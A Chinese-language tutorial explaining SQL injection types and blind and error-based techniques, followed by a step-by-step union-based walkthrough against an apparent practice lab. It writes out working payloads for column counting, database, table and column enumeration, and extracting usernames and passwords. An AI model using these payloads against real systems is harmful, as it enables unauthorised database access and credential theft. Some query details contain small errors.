sql注入原理
插入恶意的代码到应用代码中,后端直接接受数据而不进行过滤而产生的漏洞
sql注入类型
数字型
当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。
测试方法如下:
http://www.xx.com/a.php?id=1
http://www.xx.com/a.php?id=1’ 返回异常
http://www.xx.com/a.php?id=1 and 1 =1 返回正常
http://www.xx.com/a.php?id=1 and 1 =2 返回异常
说明存在注入可能。
这类注入方式常见于PHP和ASP等弱类型语言中,弱类型语言会自动推导数据类型,例,输入的ID的值为1时,会自动推导出ID的数据类型为int型,当输入的ID的值为1 and 1 = 2时,会自动推导出ID的数据类型为string型,但JAVA或者C#这类强类型语言并没有这样的特性,int型强制转换成string型时,会抛出异常,注入失败,所以这类注入方式常见于弱类型语言中。
字符型
当输入参数为字串类型时,则为字串类型的输入,其与数字类型的注入的区别在于:注入时需要使用单引号来闭合。
测试方法如下:
http://www.xx.com/b.php?name=admin
http://www.xx.com/b.php?name=admin’and 1 = 1 -- 返回正常
其不同主要原因在于sql语句的差异,例,select *from user where name = ‘admin’ 则注入时需要单引号闭合,注入的数据应为admin’and 1 = 1 --,合并为sql则为select * from user where name = ‘admin’and 1 = 1 – ‘ 。
搜索型
HTTP注入(IP地址的伪造)
例:
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。
Useragent是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。
获取信息方式不同
(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
sql注入流程
判断注入类型
http://bachang.cn/sqli/Less-1/?id=1' or 1=1 --+
判断字段个数
使用order by判断当前表的字段个数
例:?id=1 order by n --+
若n超过当前表的列数,就会报错,说明表中只有n-1列
http://bachang.cn/sqli/Less-1/?id=1' order by 3 --+
判断回显位置
判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:
?id=-1’ union select 1,2,3 --+
爆破数据库名称
?id=1’ union select 1,database(),3 --+
在之前回显2的地方会回显database数据库的名字。
爆破数据库中的表
?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆破表中的字段
?id=1’ union select 1,group_concat(column_name),3 from information_schema.column where table_schema=’爆出来的数据库名‘ and table_name=‘爆出来的表名’ --+
爆破字段中的数据
?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+